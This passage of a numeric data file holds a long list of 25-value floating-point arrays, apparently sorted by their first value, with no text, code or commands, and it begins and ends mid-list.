-0.02582582, 0.39405808, 0.21089244, -0.33333308, -0.11364564, 0.19452432, 0.2360846, 0.13255796, 0.3399222, -0.313826, 0.09326102, -0.3634296, -0.18111948, 0.14376012, -0.19003548, 0.20908544, -0.31914144, -0.008549808, 0.28063184], [0.0721582, -0.04138172, -0.54295552, 0.9792392, 0.9941008, -0.26373316, 0.8606604, 0.610654, -0.014370796, -0.4288976, -0.1677232, -0.7593324, 0.5916976, 0.6743572, 0.6171176, 0.7596772, 0.2639394, 0.15817754, 0.08816004, -0.18933522, 0.817716, 0.9471152, -0.52290824, -0.9169528, 0.45290616], [0.07350796, 0.15294528, -0.23337736, 0.31399976, 0.161714, 0.29303996, -0.12776928, 0.04124736, 0.17148712, -0.18409856, 0.38413852, -0.27068616, 0.29472128, -0.13514612, -0.26096676, 0.15553704, -0.010227186, 0.19448274, -0.019453546, 0.05163248, -0.07136924, -0.37353296, 0.18980024, -0.14668744, 0.10350768], [0.074384, -0.5315328, 0.077700016, -0.23192048, -0.23226056, 0.6160464, 0.8172936, 0.3785022, 0.019326512, 0.6999468, -0.5660948, -0.0790338, 0.187862, 0.32542408, 0.7314448, -0.2907006, 0.6972486, 0.671663, 0.15367698, 0.7305784, -0.22669996, 0.1661512, 0.5783856, 0.70975472, 0.58484496], [0.07897328, 0.041212232, 0.3434068, 0.33607096, 0.061934744, -0.12691276, -0.13764684, 0.18797248, -0.14190008, 0.032364032, -0.17595892, 0.09530664, -0.09260576, 0.24169656, 0.05884048, -0.14622648, -0.06822938, 0.008148702, 0.2994498, -0.17682438, -0.17636548, -0.34325352, 0.38978736, -0.051928656, -0.0823828], [0.08155456, -0.09751536, -0.3853832, -0.2004196, -0.08554848, -0.010842744, -0.11004908, -0.39258128, 0.035443184, -0.1417462, 0.20882872, 0.025056476, 0.078965, -0.13398988, -0.13082764, 0.05415428, -0.2088494, 0.08173474, 0.08798012, 0.3777608, -0.13104364, 0.20251032, -0.36452, 0.212024, -0.2460848], [0.08271312, 0.97854, -0.36123072, 0.42002176, 0.23767952, -0.9398336, -0.29964068, 0.13754688, 0.6820888, -0.11641104, -0.17226212, 0.33122616, 0.4905464, -0.9280548, -0.634012, -0.5869364, 0.0751404, 0.12315704, 0.7833276, -0.8393736, -0.26711784, 0.8336184, 0.47820176, -0.34192976, -0.0344614], [0.08500444, -0.23598544, -0.20550272, -0.08211696, 0.23593344, -0.25852224, 0.04195912, 0.09974664, -0.23804784, -0.3297454, -0.15057828, 0.16289044, 0.36409576, 0.34889884, 0.34810672, 0.02420464, 0.09700994, -0.3098208, -0.3361868, 0.3193936, 0.19685228, -0.19023536, -0.1131716, 0.2182824, -0.09623176], [0.08970716, -0.75483976, -0.188232, 0.69289472, -0.26947136, 0.22146532, -0.539478, 0.5129184, 0.22578316, -0.25484008, -0.8429156, -0.2321628, -0.4191652, 0.947682, -0.4789184, 0.613087, 0.9174904, -0.3813282, -0.7653962, -0.9215414, -0.6881856, -0.35995416, -0.20377576, -0.66048232, -0.51340208], [0.09105696, -0.29001616, 0.68338312, 0.17421144, 0.8931584, -0.38279172, 0.6818712, -0.3878716, -0.12899536, -0.9673112, 0.05461228, 0.38158684, -0.4250164, 0.32917056, -0.897446, -0.759752, -0.0046318, 0.6339036, -0.8747984, 0.5487938, -0.06539948, -0.2959056, -0.63204488, -0.35385608, 0.9339056], [0.09110212, 0.2220844, -0.10706808, -0.12993424, -0.04795404, -0.29843688, 0.11111452, -0.29969252, 0.04575864, 0.35426164, -0.014103524, 0.015950748, -0.02958838, 0.031229388, -0.23294976, 0.04555296, -0.3037418, -0.10876766, 0.004816978, 0.3381224, 0.001246273, 0.14515136, 0.16914344, 0.14709512, -0.24867608], [0.0920278, -0.69580008, 0.5297956, -0.06285, -0.62719448, -0.9708272, 0.4387152, 0.4929764, 0.7118432, 0.8330084, 0.9223364, -0.8276408, -0.6176788, -0.5447636, -0.5835828, 0.16910508, 0.2606576, 0.15018088, 0.5630454, -0.8318828, -0.895636, 0.40495096, -0.6183412, -0.16023208, -0.971028], [0.09220808, 0.31457656, 0.06584116, 0.054888328, -0.21238992, -0.028307388, 0.22368284, -0.34395264, -0.34011324, 0.301741, 0.26268256, 0.28064904, 0.19677204, -0.36654756, -0.16837636, 0.2369768, -0.15962968, 0.07324446, -0.2749852, 0.3550452, 0.250116, -0.001284066, -0.23031336, 0.30362168, -0.15753488], [0.09689896, -0.52839, 0.8109744, 0.2670928, -0.9252672, -0.7465216, 0.09047844, -0.5114288, -0.5905692, 0.926514, -0.12816736, -0.06080492, 0.9810588, -0.86347, 0.9633312, 0.7766334, -0.229741, -0.0687109, -0.0381497, 0.02770088, 0.12302848, -0.5468688, 0.047994544, 0.65363928, -0.32387048], [0.09818244, 0.79481968, -0.036840336, 0.53311152, -0.31169104, -0.22165192, 0.9860652, 0.4293404, -0.433556, 0.264994, -0.8037312, -0.04924912, -0.680158, -0.850212, -0.25874992, 0.2419288, 0.628714, -0.5270636, -0.6607708, -0.6595028, 0.9805144, 0.9637568, -0.52434584, -0.45752488, 0.23863688], [0.10060548, -0.44305648, 0.6201572, 0.41582032, 0.52836848, 0.34119176, 0.8190356, -0.39076696, -0.34989804, -0.4843928, -0.8123924, -0.9986656, 0.9114572, -0.949002, -0.5882524, -0.507077, 0.0529455, -0.7048556, 0.467493, 0.2421938, -0.9804292, -0.048643272, 0.12084552, 0.016833592, 0.49806432], [0.1029744, 0.009176384, 0.1593244, -0.24558824, 0.17533512, -0.1879884, 0.33648464, -0.17339456, 0.0490236, 0.3794904, 0.06322528, 0.019810216, -0.09663376, 0.3774994, 0.04235428, 0.3936348, -0.13138746, -0.333233, 0.06651114, -0.3444608, 0.028546952, -0.29036104, 0.08956192, 0.04623512, -0.012740792], [0.10314892, -0.30821016, 0.27515632, 0.050052656, 0.00921264, 0.18796076, 0.36380148, 0.18532928, -0.14608272, -0.19802488, 0.15324592, -0.10412644, 0.1633828, -0.05285376, -0.004541852, -0.2691694, 0.05668366, 0.2058788, 0.06580264, -0.3684524, 0.35027748, 0.25849144, -0.17062432, 0.38845912, 0.11708552], [0.1080072, -0.38341096, 0.29287592, -0.14816432, 0.2374356, 0.34619924, 0.13963716, 0.36252648, 0.309846, -0.30472, 0.38065944, 0.07334292, 0.25021696, 0.23124044, -0.14005484, -0.199257, 0.11365404, 0.1259766, -0.000216332, 0.16939874, -0.020392824, 0.11162672, -0.29315344, 0.063494248, 0.31967104], [0.11311456, 0.68197544, 0.53192024, 0.38662008, 0.33617, -0.6750904, 0.7853452, -0.7413404, -0.4099284, 0.9023048, 0.9942896, -0.12100328, -0.4524216, 0.6091128, 0.06839416, 0.5017004, 0.9509634, 0.2017328, -0.1921136, 0.4421174, 0.7549092, 0.07603628, -0.7325032, 0.8607752, 0.3188316], [0.11565428, 0.27825552, -0.39658944, -0.10556824, 0.33767208, 0.1747874, 0.11900296, -0.1567866, -0.029818544, 0.086594, 0.30032684, -0.12040144, 0.19815748, 0.3987824, 0.31616496, 0.2922896, 0.2687432, 0.17705646, 0.3267354, -0.13134776, -0.29624432, -0.15627552, 0.031926608, -0.15658416, 0.16273984], [0.1158062, 0.21086144, 0.3979456, -0.19744816, -0.061609464, 0.09018472, 0.30395352, 0.23577188, 0.05156336, -0.05285132, 0.14745816, -0.24060424, -0.1783172, 0.15628972, -0.11242212, -0.2273016, -0.3527154, 0.07766464, 0.02318554, -0.361054, 0.028239828, 0.29773032, 0.162916, -0.16215072, 0.23220864], [0.117359, -0.11674552, -0.47353096, 0.040721064, -0.6595736, 0.9354032, 0.05873472, 0.023874944, 0.02181486, 0.018826884, -0.09425348, 0.7135624, -0.4894436, -0.19693136, 0.4160032, 0.5315452, 0.808442, -0.5672432, 0.7360592, 0.5791292, -0.71592, -0.3707164, 0.61052688, 0.960048, 0.17754016], [0.11744132, -0.50675632, 0.12595416, 0.9224384, -0.97022, 0.33181804, -0.6788528, 0.882248, -0.45012, -0.7954408, -0.15876636, -0.6788104, 0.4868252, -0.6221332, -0.18377872, -0.5331082, 0.9619202, -0.666095, 0.22314, 0.02015946, 0.9625656, 0.2028188, 0.71703136, -0.9204408, -0.022708528], [0.1184708, 0.24493448, 0.010580888, -0.2702972, 0.26939672, 0.9730212, -0.4103276, 0.4956632, -0.7544372, 0.28051104, 0.4743484, -0.3159834, -0.016236064, 0.0556828, 0.8601744, 0.2861728, -0.07036956, 0.15584766, 0.7664428, -0.12572402, 0.8731784, -0.50918336, 0.53121032, -0.66367776, -0.9199024], [0.11991356, -0.38563816, -0.04418016, -0.2591552, -0.17766072, -0.11363644, -0.2163242, -0.16387784, 0.3909392, 0.360657, 0.33450952, 0.28332172, -0.16847564, 0.36162824, 0.3094096, 0.2081822, -0.1561204, -0.08478264, 0.392931, -0.0383229, -0.16821028, -0.32034032, 0.21163888, -0.34276248, -0.25396136], [0.12252732, 0.328782, -0.37075728, 0.018565496, 0.259348, -0.32326876, -0.26745268, 0.3034632, 0.3669752, -0.16258896, -0.13190924, 0.39760144, 0.08410652, 0.33827116, 0.34071068, -0.09743996, 0.3756474, 0.19831672, 0.02525626, 0.2523824, 0.1204728, -0.1422392, -0.3119268, 0.26380416, 0.32289552], [0.12583224, 0.16939984, 0.056136, -0.4927148, 0.9939888, -0.9694416, 0.6245772, -0.26107952, -0.47613, 0.7990672, 0.4367176, -0.7618152, 0.27712036, -0.9090492, -0.9310776, -0.2817106, 0.9033254, -0.3580492, -0.8562436, 0.9045932, 0.5290252, 0.26981232, -0.11172264, -0.428818, 0.62172776], [0.1266842, -0.35576056, 0.33205664, 0.9064544, -0.79308352, 0.59053, 0.7689212, 0.891904, -0.0853512, 0.6075004, 0.5556296, 0.6318928, 0.7694132, 0.38273916, 0.054138, -0.4503804, 0.8706438, 0.6050968, -0.9386704, 0.812894, -0.4408332, 0.01646668, 0.58984656, -0.41314864, 0.28515904], [0.12833856, -0.35762096, 0.015473656, -0.1060348, 0.69401048, 0.907398, 0.32129988, -0.6067208, 0.09179196, 0.15117032, -0.021097112, 0.04339784, 0.9259736, 0.39348156, 0.23544532, 0.5687798, -0.5871238, -0.14355386, -0.6042724, 0.808196, 0.05701428, 0.62087216, -0.48676048, -0.28994752, 0.15383784], [0.13010172, -0.13262864, -0.41622368, 0.28012264, 0.57041432, -0.770348, -0.8679968, -0.306119, -0.31713128, -0.905866, -0.9210744, 0.5628864, -0.031021144, -0.6365928, 0.19093936, -0.4000542, -0.8188294, 0.4764056, -0.8638108, -0.5316352, 0.37639124, 0.8256368, 0.31949944, -0.39599544, -0.15232512], [0.13651716, 0.814164, 0.903776, -0.19498976, 0.26202088, 0.08114308, -0.9099912, 0.7265172, 0.6571056, 0.8223848, -0.7562488, 0.429614, -0.758866, 0.9589, 0.30485384, -0.2289434, 0.18754282, -0.8204528, -0.16969662, 0.2075188, 0.34428828, 0.32928272, 0.902276, 0.50734144, 0.005324701], [0.14152144, 0.1508028, -0.6185596, -0.8722472, 0.17429424, -0.28290876, -0.33029912, -0.6672552, -0.783798, -0.015895936, 0.037242212, 0.4592632, 0.4113632, 0.4921928, -0.1775254, -0.2639864, 0.5207998, -0.6138134, -0.5327134, -0.6790862, -0.459432, -0.52424344, 0.62775104, 0.48025464, -0.46496344], [0.14373732, 0.12028216, -0.16584176, 0.9572192, -0.37812968, 0.8536704, 0.11907972, -0.29398828, -0.8562604, 0.9443016, 0.13558416, -0.81664, 0.407302, -0.9632532, 0.7671052, 0.0574238, 0.6032886, 0.8188064, -0.9464804, 0.4084768, 0.5178448, 0.9101888, -0.67765072, -0.51738856, -0.51252288], [0.14519708, 0.56825408, -0.73078144, -0.007578869, -0.70049584, 0.26948076, 0.6751044, -0.19638704, -0.8789732, 0.8150104, -0.8661392, 0.4859248, 0.25080836, 0.24848396, -0.0622902, -0.9940772, 0.803757, 0.7574676, -0.29106, -0.09725838, -0.704656, 0.08597472, -0.14789976, -0.5897528, -0.5132348], [0.15003436, 0.03296252, 0.3960068, -0.35573144, 0.35232992, -0.12244752, -0.35831824, 0.09001492, -0.07812272, -0.29387324, 0.15550804, 0.19838256, -0.05669088, -0.39081656, 0.021475232, 0.2346932, -0.214401, 0.3729092, -0.2179754, -0.09336184, 0.2965188, 0.049098, -0.008841432, 0.076709584, 0.31937056], [0.152773, 0.874964, 0.14952624, -0.33605696, -0.36782936, -0.23490272, -0.01561014, -0.4535184, -0.18562976, 0.480316, -0.9397084, 0.29838256, 0.441716, 0.13930036, -0.1186058, -0.8792182, 0.5924476, -0.293972, 0.866798, -0.900891, 0.26091716, -0.9688248, -0.48420584, -0.33876336, -0.09219512], [0.15753984, -0.1881836, -0.71329648, -0.7021292, -0.18961, -0.9850448, 0.37215004, 0.0661602, 0.05824544, 0.06204456, 0.5423752, -0.710054, 0.16985712, 0.6675368, 0.8975004, 0.3131202, -0.201708, -0.8274188, 0.06553144, -0.10761296, 0.5800044, -0.4046632, 0.7712468, -0.9889064, -0.776844], [0.15862516, 0.69256496, 0.77019376, -0.33216792, 0.2820676, -0.8570684, -0.3056922, 0.8258388, 0.31919076, 0.6193496, 0.7051076, 0.5358708, 0.7958452, -0.7064464, -0.16734608, -0.7866222, -0.2184346, 0.04336088, 0.0812724, -0.7572574, 0.8933256, 0.47671536, 0.8969608, -0.14207152, -0.0899124], [0.16369608, -0.52895184, 0.409592, -0.340418, -0.6170332, -0.4141336, 0.7971312, -0.4499376, -0.4788556, -0.6632128, 0.39820736, -0.24571348, 0.8235664, 0.6481064, 0.7995508, 0.005416158, 0.03675246, 0.14546786, 0.6037974, -0.2759004, 0.8296408, -0.8446472, -0.16201736, -0.31945416, 0.9316536], [0.17174468, 0.62619936, 0.8266032, -0.16883216, -0.26076088, -0.07590472, -0.9779124, -0.22196704, -0.24562792, 0.9160284, -0.50427, 0.7372024, -0.29704092, 0.775994, 0.06474376, -0.6016602, 0.03457324, -0.606718, 0.3942092, -0.1040242, 0.4184164, 0.3064108, -0.54441176, 0.9316304, -0.095182], [0.1728516, -0.2035132, -0.10376208, -0.2930404, 0.30448032, 0.002191444, 0.38362268, -0.15592544, -0.23286536, -0.2415324, 0.3293542, -0.181637, 0.32321936, 0.007093424, 0.09052364, -0.10787728, -0.2921674, 0.15764114, 0.3618296, -0.1778714, -0.22435896, 0.19306192, 0.23027064, 0.24586656, -0.27825952], [0.17388716, 0.34161296, -0.19342784, -0.1551672, -0.1042044, 0.37305012, 0.28050092, -0.18256344, -0.06871164, 0.25822048, -0.25273748, 0.15782356, -0.35485952, 0.0013732, -0.13271844, -0.17115396, -0.17859832, 0.12995636, 0.2715732, 0.06057104, -0.11486564, -0.13622232, -0.048031624, 0.12609184, 0.09554856], [0.17726948, -0.9901144, 0.056537064, 0.9797808, -0.045304776, -0.9020568, 0.38604584, -0.7259888, -0.666124, -0.8509976, -0.19795272, 0.840622, -0.10471748, 0.23133056, -0.14443456, 0.6379718, -0.6336132, -0.7145558, 0.02194998, -0.04587384, 0.90757, 0.19953088, -0.542772, 0.1621568, -0.54064624], [0.17881376, -0.8084232, -0.52106832, 0.12152776, -0.9122504, 0.6374928, -0.00433618, -0.4356996, -0.19745484, -0.8201056, -0.039025008, 0.4978896, -0.5738812, 0.4095768, -0.012415172, 0.8380864, -0.6650638, 0.7405472, 0.4622952, 0.7926294, 0.29411264, -0.60639208, 0.15737272, -0.66526632, 0.36613144], [0.18423888, 0.25660328, -0.73880168, -0.9032176, 0.77289672, 0.37929728, 0.6728704, -0.709018, -0.38561388, -0.4365376, 0.98581, 0.6730276, -0.8300956, -0.5918652, -0.34191216, -0.4353318, 0.4136504, 0.2489304, -0.56562, -0.2989244, 0.24322556, -0.34215856, 0.24800048, -0.000309087, -0.37768752], [0.18647776, 0.039544456, -0.015858328, 0.05295468, -0.26792688, 0.21513012, -0.26800052, -0.2750444, -0.011190928, -0.0937504, -0.30469732, 0.15553188, -0.04917688, -0.2468186, 0.04227892, 0.3981272, 0.3545084, 0.19838456, -0.2482102, -0.17372708, 0.07142616, -0.2398528, -0.23678408, 0.074475168, -0.17951824], [0.1883802, 0.7116708, -0.34791464, -0.82294, -0.39798592, 0.01342296, -0.528994, -0.9392508, -0.14051476, 0.4872404, -0.748586, -0.7825536, -0.20321776, -0.1215984, -0.8322968, 0.8900516, 0.03217062, 0.3757792, -0.2707922, -0.5842366, -0.8627296, 0.71483352, 0.8626968, 0.24644744, -0.15846056], [0.19330708, 0.23662872, -0.1008252, 0.074062464, -0.72685016, 0.7521268, 0.6228176, -0.4371224, 0.970092, -0.002905618, 0.28124972, 0.22482756, -0.24958088, 0.8936292, 0.05168884, 0.7675998, -0.6211376, 0.15135438, 0.3843872, -0.6990594, 0.943574, -0.34323216, -0.30878552, -0.967, -0.8567112], [0.1944968, -0.58572072, -0.05375676, -0.17124808, -0.37127536, -0.41714, -0.6705768, -0.9872472, 0.515908, 0.6535708, 0.29070488, 0.38583708, -0.9441536, 0.824774, 0.23603576, 0.02057618, 0.828108, 0.15117856, 0.9417496, -0.13329488, -0.5609684, -0.48392928, -0.08515096, 0.60182448, 0.45298216], [0.19764816, 0.70391896, 0.8219688, 0.6131796, 0.54381256, 0.4175996, 0.3755204, 0.3383722, 0.7464948, 0.11306764, 0.6668168, 0.8128556, -0.23823568, -0.7231788, -0.7569008, -0.5619322, -0.2199092, 0.3740092, 0.9500784, -0.6451296, -0.04475744, 0.023148616, 0.47774792, -0.018348608, 0.48695328], [0.20023672, 0.68144456, 0.4180672, 0.4794412, 0.86024, -0.09345924, 0.9865216, 0.00447986, -0.29863412, -0.8443432, -0.8498072, -0.37092032, 0.18762524, -0.14866304, -0.9414276, -0.901675, -0.3524866, -0.678946, 0.241856, 0.6401366, -0.8663704, 0.016626016, -0.22800032, -0.62206936, -0.4146328], [0.20069128, 0.2492892, -0.17489768, -0.31121912, -0.007181914, 0.07880052, -0.3436184, 0.14595636, -0.25506456, -0.26982624, -0.14143364, 0.16645244, -0.27439592, -0.18125312, -0.15047896, -0.2650272, -0.3688106, -0.05491622, 0.14022594, -0.2459934, -0.1548928, -0.24928896, 0.21603, -0.16035744, -0.09493384], [0.20969468, 0.8793688, 0.20072688, -0.6068016, -0.60545888, 0.6283064, 0.23428592, 0.4001824, -0.3237856, -0.34589164, -0.4379392, 0.922414, 0.7077704, -0.5322816, 0.23147352, 0.7759154, -0.2061426, -0.5749748, -0.2007604, 0.2719152, 0.919068, 0.39795896, -0.22437408, 0.64963816, 0.34330448], [0.21047276, 0.35211456, -0.405094, -0.8023992, 0.72191256, 0.6804848, 0.6485612, 0.517062, 0.8310204, 0.7892316, 0.28802544, -0.8186296, -0.9088772, -0.6728444, -0.9408804, -0.3475466, -0.12209218, -0.3028574, 0.2629894, -0.09214428, -0.920056, 0.6571172, -0.31560336, 0.54005104, -0.39064688], [0.21095608, -0.26027408, -0.1498852, -0.31533064, -0.08450144, 0.34900176, 0.22434808, 0.36626864, 0.22478152, 0.016138432, -0.20745624, -0.006700684, -0.25677728, 0.09739876, -0.16051244, 0.221181, -0.10208368, 0.07153524, 0.2254428, 0.16761538, 0.060666, 0.3949896, 0.29643528, 0.39338784, -0.006165498], [0.21290728, 0.791004, 0.9806224, -0.4221432, -0.73206776, 0.35253492, 0.3788036, 0.9609744, -0.8675136, 0.8129, -0.4774112, -0.672552, -0.04563844, -0.669956, 0.7639232, -0.7404584, -0.7828472, 0.8721672, -0.17637392, -0.627329, -0.12454716, 0.2427016, 0.09939272, 0.39830024, 0.31533144], [0.21435444, 0.48850384, -0.26032288, -0.41687712, -0.28545688, 0.8456088, -0.5690284, -0.15248116, -0.09797684, 0.05261488, -0.9537992, 0.4292836, -0.10102204, 0.830836, 0.9760052, -0.05015692, -0.2214772, 0.599732, 0.4654138, -0.64035, 0.012274404, -0.09948752, -0.755096, -0.17724664, 0.11269856], [0.22423024, -0.1137372, -0.36017328, 0.39028544, -0.37054992, -0.07568856, -0.32604004, 0.04110528, 0.033860396, 0.35424084, -0.12945304, -0.37863352, 0.06134408, 0.16254904, -0.36322712, 0.3143144, -0.2355338, 0.19042438, 0.1047138, -0.08947806, 0.280414, -0.28276216, -0.2422256, -0.28491712, -0.14613896], [0.2391944, -0.38167864, -0.649308, -0.056899648, -0.3797736, -0.08931176, -0.10248888, -0.5035764, 0.2826462, -0.7741212, -0.6311936, 0.34044292, -0.489462, 0.7883904, -0.013222536, 0.4785092, -0.3065098, -0.8699666, 0.27921, 0.11171762, 0.7114584, -0.11197136, -0.29767792, 0.74131352, 0.41104304], [0.2399476, -0.06766556, -0.24765488, 0.33420584, -0.11045592, 0.1165744, -0.07527604, 0.34734892, -0.02958776, 0.29614412, 0.19669872, -0.11543048, 0.34171068, -0.23383348, -0.33533272, 0.3455116, -0.05067296, 0.3482102, 0.09093642, -0.14324496, -0.3318188, -0.1617852, -0.054183592, -0.12362864, 0.001303573], [0.24300432, 0.34761256, -0.14649512, -0.050478856, 0.038685744, 0.08932312, -0.1883044, 0.27569672, 0.17502312, 0.35743924, 0.26945676, -0.029148404, 0.0885068, -0.06034984, 0.08248048, -0.3774424, 0.05898988, -0.2757268, -0.14232402, -0.3482044, 0.22208716, -0.39111208, 0.31690384, -0.2083532, 0.25323608], [0.24391296, -0.4642836, -0.76239208, 0.23663632, -0.6761904, 0.254722, -0.3754674, 0.7512848, 0.4887432, 0.007091952, 0.5502876, 0.900584, 0.5787864, -0.18768052, -0.2890364, 0.4041988, 0.4516136, 0.898487, -0.12191002, -0.4026198, 0.6512304, -0.978908, -0.7509456, 0.073697048, 0.09251632], [0.2443016, 0.8405624, -0.44431624, -0.8101768, -0.4555156, -0.24949072, -0.934738, 0.52197, -0.38489292, -0.26507392, 0.9650548, 0.638588, 0.17109884, -0.8097092, 0.45685, -0.6375132, -0.18818532, 0.9831504, -0.7018104, -0.07931134, -0.23936176, -0.68529024, -0.076323296, 0.09692, 0.8131168], [0.2456106, -0.23985856, 0.06645632, -0.25471288, -0.29184256, -0.30484176, 0.18246124, 0.10893692, 0.2817952, 0.011166428, -0.08282436, 0.01102934, -0.009305696, 0.09057376, -0.2259848, 0.324949, -0.013788448, 0.144861, -0.06051556, 0.372832, 0.35381532, -0.35468048, 0.19687904, -0.350996, 0.2835768], [0.24723632, 0.29713584, 0.36561256, -0.1303056, -0.10040208, -0.19488516, 0.22164072, 0.21159684, -0.32683852, 0.07106748, 0.019096476, -0.26663956, 0.16303332, 0.30873512, 0.3611894, -0.13967338, -0.2115534, 0.3864706, -0.3875376, -0.0593077, -0.2469982, 0.35038216, 0.39604544, -0.031609024, -0.023183816], [0.2529942, 0.27819888, 0.35742808, 0.28348816, -0.17967168, 0.06190804, 0.25755912, 0.06437396, -0.21105876, 0.11645508, 0.22631416, -0.23201428, -0.24927544, 0.1980788, -0.205449, -0.2205872, 0.10422914, -0.07315972, -0.06254996, -0.13421614, -0.12724392, -0.043108624, 0.08099696, -0.30652872, 0.16560504], [0.25369972, 0.10044992, -0.37331144, -0.21381312, -0.35935864, -0.11347356, 0.18156912, -0.0401208, 0.3657646, -0.030185288, -0.14907712, 0.035592416, -0.09036864, 0.0869136, -0.19257764, 0.05751312, -0.000480662, -0.15145712, 0.3194716, -0.3962576, -0.21446436, -0.10097256, 0.35860704, 0.060628536, 0.016698824], [0.25471368, 0.1784632, -0.12084512, -0.36012944, -0.54867664, 0.519376, 0.6513, 0.027115368, -0.6268392, 0.22494652, -0.50847, -0.7871144, -0.17263988, -0.26989112, -0.6742932, 0.19419394, 0.9479082, -0.2346502, 0.3599534, 0.2850394, 0.8876992, 0.65397432, -0.40693512, -0.59016608, -0.61518736], [0.25974476, 0.56372104, 0.1537784, 0.2220624, 0.44222728, -0.6582024, -0.380433, 0.5643224, 0.4275572, 0.11818708, 0.37398096, 0.33312476, 0.5434644, -0.032414212, 0.23880388, -0.6381332, -0.920748, 0.3140724, -0.3805474, -0.7568834, -0.8790588, -0.59036496, 0.48166672, 0.47427968, 0.6650224], [0.26195152, 0.36903504, -0.4484228, -0.36340456, 0.46565768, 0.4502616, 0.7175128, -0.34816856, -0.12355224, 0.6521428, 0.8876084, 0.459702, -0.6288484, 0.34633804, -0.5699312, -0.1157082, -0.483214, -0.7249296, 0.3391742, -0.05862156, 0.833096, 0.901148, 0.75989568, -0.55898448, 0.049974408], [0.26607172, 0.19999664, 0.09134224, 0.037050208, -0.1562332, -0.017837184, -0.2749492, -0.0482218, 0.36480536, 0.0998716, 0.25082964, -0.16238848, -0.38199248, -0.18916988, 0.022029576, 0.2437602, -0.12709868, 0.11027128, 0.0658134, 0.2439494, -0.28698836, -0.23490048, 0.024056112, -0.38408928, -0.29706432], [0.26791116, 0.8371456, 0.10187496, 0.59487144, -0.71061544, -0.7746236, 0.11290728, 0.6629668, 0.24722836, -0.4326116, 0.5853436, -0.033197772, -0.8700968, 0.9224384, -0.007759864, -0.18812054, -0.4477082, -0.6794698, 0.818467, 0.7975836, -0.5048816, 0.11553024, -0.026103904, -0.305986, -0.007594143], [0.268991, -0.26788816, -0.76662384, -0.5133352, 0.58310712, -0.7121968, -0.33784492, -0.7861184, 0.8716096, -0.9493808, -0.9583252, 0.5026748, -0.767794, -0.2798836, 0.33210724, 0.2066772, -0.8564306, -0.4861054, 0.2756176, -0.8032512, -0.8569592, 0.9657672, 0.51169904, 0.23836072, 0.5599032], [0.27093208, 0.18252376, -0.35075664, -0.2900252, -0.12010608, -0.33617672, 0.07662124, -0.003975387, -0.13345328, 0.3939878, -0.38925232, -0.38219784, -0.026853852, -0.013853912, -0.13043076, 0.2432256, -0.2784202, 0.2675848, -0.2936942, -0.2061806, 0.11168068, 0.19470216, 0.26644384, -0.02398164, -0.28251464], [0.27324548, -0.78816968, 0.2402976, 0.54758432, -0.70348528, -0.13531328, -0.7955432, -0.7114468, -0.25700888, 0.39089268, 0.5961128, -0.3766022, -0.6870684, -0.6509752, 0.20268948, 0.10494608, -0.18530622, 0.019983356, -0.14787444, 0.365434, 0.3319118, -0.69360296, -0.8487488, -0.50657432, 0.1733228], [0.27672724, -0.60616808, 0.8299992, 0.5791976, -0.8360432, -0.6774768, 0.5249908, -0.8725984, 0.15862232, -0.35615968, -0.9354808, 0.4422996, 0.06000544, 0.8245568, -0.3072818, -0.5526758, 0.621176, 0.1599117, -0.19996796, 0.2254632, 0.34667008, 0.30731376, 0.69132176, -0.9304704, -0.50795704], [0.2803042, 0.56731488, 0.005570091, 0.076819488, 0.34805432, 0.477462, 0.3549334, 0.07682836, 0.9692856, -0.005955636, 0.717808, -0.8720548, 0.030988, -0.2111758, -0.1347628, 0.755631, -0.9183856, 0.2579558, -0.7145682, 0.776801, 0.10408404, 0.9446008, 0.76336632, 0.25550456, 0.5938304], [0.28162952, 0.65439824, -0.74118384, 0.44829472, 0.8623392, -0.35372948, -0.585572, -0.08099012, -0.4345452, 0.3333042, 0.09934236, -0.148821, -0.26697084, 0.8639764, 0.6345472, -0.7888702, 0.2594076, 0.6984284, -0.4450076, -0.4424606, -0.7853196, 0.9416656, 0.44063288, 0.076092088, 0.9940376], [0.28518412, -0.56096848, -0.26927808, -0.45860912, 0.47983072, 0.6731828, -0.4082204, -0.25084632, -0.25529696, 0.19149748, -0.28028152, -0.8873032, 0.5753388, 0.9532576, 0.5328256, -0.724228, 0.722663, 0.1306528, -0.16687274, 0.3257516, -0.8896224, 0.28334304, 0.29992624, 0.53850304, 0.60401576], [0.29500016, -0.9953744, 0.36311784, -0.11304312, -0.9617696, -0.19196484, -0.7496784, -0.156686, -0.39775328, 0.4824796, 0.39881408, 0.08677004, 0.7389148, -0.6164836, 0.9085092, -0.71356, -0.8706518, 0.612498, 0.332717, -0.19885078, 0.5493384, 0.5720916, 0.29384696, 0.9668744, 0.79760224], [0.2988982, 0.31932336, 0.73357712, 0.5457956, 0.29782232, 0.36639096, -0.38807692, -0.7819436, -0.06522196, -0.772322, 0.745738, -0.6012864, -0.0767406, 0.499022, -0.23836316, 0.3616788, -0.4190914, -0.1829769, 0.7061902, -0.10219912, -0.317108, -0.9279792, 0.19736648, 0.11314336, -0.67648752], [0.30261176, 0.23071272, -0.47275432, -0.820632, -0.41657848, -0.5843252, -0.6858208, -0.27006908, -0.388776, 0.5861616, -0.7488208, 0.5313368, -0.726372, 0.1675888, -0.27143024, 0.3646926, -0.11325152, -0.4738232, -0.1850557, -0.4760996, 0.2653246, 0.5287596, -0.7708056, -0.5587592, -0.39856416], [0.3032182, 0.28029368, -0.012240088, 0.18359992, 0.3769556, -0.06520484, 0.35642972, 0.045813, -0.05489264, -0.29899624, 0.25487724, -0.008185824, 0.07742792, 0.27591552, -0.011728852, -0.05979746, 0.37921, 0.2221826, 0.2493574, 0.06915056, 0.28065536, 9.28e-05, -0.22044696, -0.20027864, -0.31245176], [0.30515524, 0.65500208, -0.9391136, -0.65290096, 0.78915968, -0.49878, 0.7829132, -0.6018008, -0.9579528, 0.33520236, -0.37759796, 0.26664224, 0.032928056, -0.4918372, 0.016823172, 0.7068984, -0.526233, 0.7463906, -0.8264564, -0.9706854, -0.7767244, -0.8615016, -0.9679888, -0.53619976, 0.54459136], [0.30633372, -0.67768296, -0.9408424, -0.73523288, -0.8655312, -0.34307644, -0.6854804, -0.5653524, -0.23038912, 0.9392368, 0.5047208, 0.36689352, 0.006605888, 0.9617492, -0.5779328, 0.7819976, -0.3366994, 0.8946144, 0.4668594, -0.3280236, 0.33796392, 0.9870368, 0.8264896, -0.9821864, -0.433964], [0.31189632, 0.45563896, -0.65881392, 0.60324464, -0.09080032, -0.14857208, -0.999822, -0.9515164, -0.217767, -0.33254948, -0.8859732, -0.10864036, -0.9901212, 0.9185776, -0.05747136, 0.75466, 0.4217686, -0.5184608, 0.007529044, 0.5829878, -0.6479648, 0.67647192, -0.8923232, 0.34879264, -0.19867864], [0.31354556, 0.4649572, 